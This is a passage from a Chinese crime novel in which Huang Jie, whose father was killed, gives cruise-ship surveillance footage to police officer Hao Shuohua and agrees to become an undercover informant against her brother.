“白姐姐一直记得我,她杀害父亲之后,还给我递过一颗糖。”黄洁说:“我那时候灰头土脸,刚从泥潭回来,我以为她会认不出我的真面目,可她后来看我的眼神,我时常觉得触目惊心。” 黄洁一直从内心爱慕和敬仰白愔,想要成为她那样的人,可以为自己的人生做主,可她后来拥有哥哥和白姐姐,不用自己出头露面,就可以得到一切想要的,她以为这种幸福平静的日子可以直到永远。 哪知道,哥哥计划杀死白姐姐。 “为什么一家人就不能和睦美好的在一起呢?一定要打打杀杀吗?我真的厌倦了这种日子。”黄洁抱着脑袋,耷拉着眼帘:“我失去了父亲,失去了大哥,我不能再失去白姐姐。” 郝朔华听到这里,知道黄洁已经做出决定。 正如她当年目睹父亲被杀害,却选择缄默不言,黄洁如今做出相同的选择,她站在白愔身边,亲手将哥哥推入地狱。 “我有游轮监控视频,如果你们想要查案,可以从宾客入手。”黄洁把一份U盘交给郝朔华,她看着郝朔华,像是期盼,又像是最后的希望:“你能救回白姐姐,是不是?” 郝朔华知道,现在不能答复黄洁,最好模棱两可,既不承担责任,也不用刺激到黄洁。 可他还是说:“我尽力而为,而我认为,她一定还没有死。” 白愔那样的人,怎么会轻易死亡呢。 黄洁笑了,状态整个就轻松了,和郝朔华聊起她被人从船上带走的事情,“我一开始并不知道大哥的计划,以为只是简单的出海,白姐姐稍后也会跟来,可我被急匆匆带走,身边跟随大哥的人,却连白姐姐的影子都见不到,我就知道出事了。” 她是被迷晕带走的,所以第二天醒来的时候,知道白姐姐葬身大海,她的心情可谓是焦灼难安。 她还没有向白姐姐道歉,还没有缓和两人之间的关系,怎么能与白姐姐分开? 她之后一步步计划,让身边的保镖的放松警惕,又在好心人的帮助下,开车从边境逃回来,她觉得她做了回英雄,就算白姐姐和哥哥知道了,也会替她感到高兴。 “我想回到金碧辉煌,我知道你们需要我的帮助,我会一直配合你们。”这才是黄洁回来的目的。 她一直没有插手过大哥的生意,但是大哥如果一定要跟白姐姐对上,那么她就代替白姐姐,把最后的缺口堵上。 “太好了!”郝朔华没有想到,黄洁还有这样的觉悟,如果黄洁自己愿意当警方的卧底,那么他们不管是办案,还是在接下来的抓捕行动中,都能事半功倍。 “我会让人和你联系。”郝朔华和黄洁说了一些注意事项,包括警方的保密协议,以及卧底和上线的联系方式,为了让黄洁能更好的掌握金碧辉煌,他甚至找人教会黄洁算账缴税。 黄洁看着兴奋热血的郝警官,她觉得警察真可爱。 “听说你带回来一个线人?”许晖从梧桐街的剥皮杀人案抽身,知道郝朔华这边有进展了,过来看看,“是谁,让你这么高兴?” “你绝对猜不到!”郝朔华兴奋不似作假,也许黄洁单纯只想为白愔做点什么,可她不知道,仅凭她是黄龙的亲妹妹这一层身份,她的卧底身份就能坐稳,“三方合作,我现在感觉能上天!你不要耽搁我,我要去办大案了!” 他兴冲冲地拿着黄洁给的地址,再次前往小渔村。